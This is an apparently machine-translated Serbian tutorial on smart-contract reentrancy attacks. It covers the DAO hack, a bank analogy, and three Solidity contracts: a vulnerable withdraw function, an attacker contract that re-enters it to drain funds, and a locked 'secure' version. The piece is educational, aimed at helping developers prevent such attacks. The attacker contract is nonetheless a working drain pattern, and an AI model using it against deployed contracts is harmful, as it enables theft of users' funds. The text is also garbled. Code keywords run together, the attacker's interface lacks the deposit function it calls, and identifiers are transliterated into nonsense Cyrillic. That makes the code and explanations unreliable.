Ево како се одвија један од најчешћих хакова паметних уговора који компаније Веб 3 коштају милионе...

Неки од највећих хакова у блокчејн индустрији, где су милиони долара вредни токени криптовалуте украдени, резултат су напада поновним уласком. Иако су ови хакови последњих година постали мање уобичајени, они и даље представљају значајну претњу блокчејн апликацијама и корисницима.

Дакле, шта су тачно напади поновног уласка? Како су распоређени? И да ли постоје неке мере које програмери могу да предузму како би спречили да се то догоди?

Шта је напад поновног уласка?

Напад поновног уласка се дешава када рањива функција паметног уговора врши екстерни позив злонамерном уговору, привремено одустајући од контроле тока трансакције. Злонамерни уговор затим више пута позива оригиналну функцију паметног уговора пре него што заврши са извршавањем док троши своја средства.

У суштини, трансакција повлачења на Етхереум блок ланцу прати циклус од три корака: потврда стања, дознака и ажурирање стања. Ако сајбер криминалац може да отме циклус пре ажурирања биланса, може више пута да повлачи средства док се новчаник не испразни.

Кредит за слику: Етхерсцан

Један од најзлогласнијих блоцкцхаин хакова, Етхереум ДАО хак, како је покривено Цоиндеск, је био поновни улазак који је довео до губитка етх-а од преко 60 милиона долара и фундаментално променио курс друге највеће криптовалуте.

Како функционише поновни улазак?

Замислите банку у свом родном граду у којој врли мештани држе свој новац; његова укупна ликвидност је милион долара. Међутим, банка има погрешан рачуноводствени систем — запослени чекају до вечери да ажурирају стање у банци.

Ваш пријатељ инвеститор посећује град и открива рачуноводствену грешку. Он отвара рачун и депонује 100.000 долара. Дан касније подиже 100.000 долара. После једног сата, поново покушава да подигне 100.000 долара. Пошто банка није ажурирала његов биланс, он и даље гласи 100.000 долара. Дакле, он добија новац. Он то ради више пута док не остане новац. Запослени схвате да нема новца тек када увече избалансирају књиге.

У контексту паметног уговора, процес иде на следећи начин:

  1. Сајбер криминалац идентификује паметни уговор „Кс“ са рањивом тачком.
  2. Нападач покреће легитимну трансакцију циљног уговора, Кс, да пошаље средства злонамерном уговору „И“. Током извршавања, И позива рањиву функцију у Кс.
  3. Кс-ово извршење уговора је паузирано или одложено јер уговор чека на интеракцију са спољним догађајем
  4. Док је извршење паузирано, нападач више пута позива исту рањиву функцију у Кс, поново покрећући њено извршење што је више могуће пута
  5. Са сваким поновним уласком, стање уговора се манипулише, омогућавајући нападачу да одвуче средства са Кс на И
  6. Када се средства исцрпе, поновни улазак се зауставља, Кс-ово одложено извршење се коначно завршава, а стање уговора се ажурира на основу последњег поновног уласка.

Генерално, нападач успешно искоришћава рањивост поновног уласка у своју корист, крадући средства из уговора.

Пример поновног уласка

Дакле, како се тачно може десити напад поновним уласком када се примени? Ево хипотетичког паметног уговора са капијом за поновни улазак. Користићемо аксиоматско именовање да бисмо олакшали праћење.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

Тхе ВулнераблеЦонтрацт омогућава корисницима да депонују етх у уговор користећи депозит функција. Корисници тада могу повући свој депоновани етх користећи повући функција. Међутим, постоји рањивост при поновном уласку у повући функција. Када се корисник повуче, уговор преноси тражени износ на корисникову адресу пре ажурирања стања, стварајући прилику за нападача да искористи.

Ево како би изгледао паметни уговор нападача.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Када је напад покренут:

  1. Тхе АттацкерЦонтрацт узима адресу на ВулнераблеЦонтрацт у свом конструктору и складишти га у вулнераблеЦонтрацт променљива.
  2. Тхе напад функцију позива нападач, депонујући нешто етх у ВулнераблеЦонтрацт помоћу депозит функцију, а затим одмах позвати повући функција на ВулнераблеЦонтрацт.
  3. Тхе повући функција у ВулнераблеЦонтрацт преноси тражени износ етх-а на нападачев АттацкерЦонтрацт пре ажурирања стања, али пошто је нападачев уговор паузиран током екстерног позива, функција још није завршена.
  4. Тхе примити функција у АттацкерЦонтрацт се покреће зато што је ВулнераблеЦонтрацт послао етх овом уговору током екстерног позива.
  5. Функција примања проверава да ли је АттацкерЦонтрацт салдо је најмање 1 етар (износ за повлачење), а затим поново улази у ВулнераблеЦонтрацт позивањем свог повући поново функционишу.
  6. Кораци од три до пет понављајте до ВулнераблеЦонтрацт понестане средстава и нападачев уговор акумулира значајну количину етх.
  7. Коначно, нападач може да позове витхдравСтоленФундс функција у АттацкерЦонтрацт да украду сва средства акумулирана у њиховом уговору.

Напад се може десити веома брзо, у зависности од перформанси мреже. Када се укључују сложени паметни уговори као што је ДАО Хацк, што је довело до хард форк-а Етхереума у Етхереум и Етхереум Цлассиц, напад се дешава током неколико сати.

Како спречити поновни напад

Да бисмо спречили напад поновним уласком, морамо да изменимо рањиви паметни уговор да бисмо пратили најбоље праксе за сигуран развој паметних уговора. У овом случају, требало би да применимо образац „провере-ефекти-интеракције” као у коду испод.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

У овој фиксној верзији увели смо је закључан мапирање за праћење да ли је одређени рачун у процесу повлачења. Када корисник покрене повлачење, уговор проверава да ли је његов налог закључан (!исЛоцкед[мсг.сендер]), што указује да тренутно није у току ниједно друго повлачење са истог рачуна.

Ако налог није закључан, уговор се наставља са променом стања и спољном интеракцијом. Након промене стања и спољне интеракције, налог се поново откључава, што омогућава будућа повлачења.

Врсте напада на поновни улазак

Аутор слике: Иван Радић/Флицкр

Генерално, постоје три главна типа напада на поновни улазак на основу њихове природе експлоатације.

  1. Појединачни напад поновним уласком: У овом случају, рањива функција коју нападач стално позива је иста она која је подложна мрежном пролазу за поновни улазак. Горњи напад је пример једног напада поновним уласком, који се лако може спречити применом одговарајућих провера и закључавања кода.
  2. Напад са више функција: У овом сценарију, нападач користи рањиву функцију да позове другу функцију у оквиру истог уговора која дели стање са рањивом. Друга функција, коју позива нападач, има неки пожељан ефекат, чинећи је привлачнијом за експлоатацију. Овај напад је сложенији и теже га је открити, тако да су потребне строге провере и закључавања међуповезаних функција да би се ублажио.
  3. Напад унакрсних уговора: Овај напад се дешава када спољни уговор ступи у интеракцију са рањивим уговором. Током ове интеракције, стање рањивог уговора се позива у екстерном уговору пре него што се потпуно ажурира. Обично се дешава када више уговора дели исту променљиву, а неки ажурирају заједничку променљиву несигурно. Сигурни комуникациони протоколи између уговора и периодичних ревизије паметних уговора мора да се примени да би се ублажио овај напад.

Напади поновног уласка могу се манифестовати у различитим облицима и стога захтевају посебне мере за спречавање сваког од њих.

Будите сигурни од напада повратног уласка

Напади поновног уласка изазвали су значајне финансијске губитке и поткопали поверење у блокчејн апликације. Да би заштитили уговоре, програмери морају марљиво да усвајају најбоље праксе како би избегли рањивости при поновном уласку.

Такође би требало да имплементирају сигурне обрасце повлачења, користе поуздане библиотеке и спроводе темељне ревизије како би додатно ојачали одбрану паметног уговора. Наравно, информисање о новонасталим претњама и проактивност у безбедносним напорима могу да осигурају да они подржавају и интегритет екосистема блокова.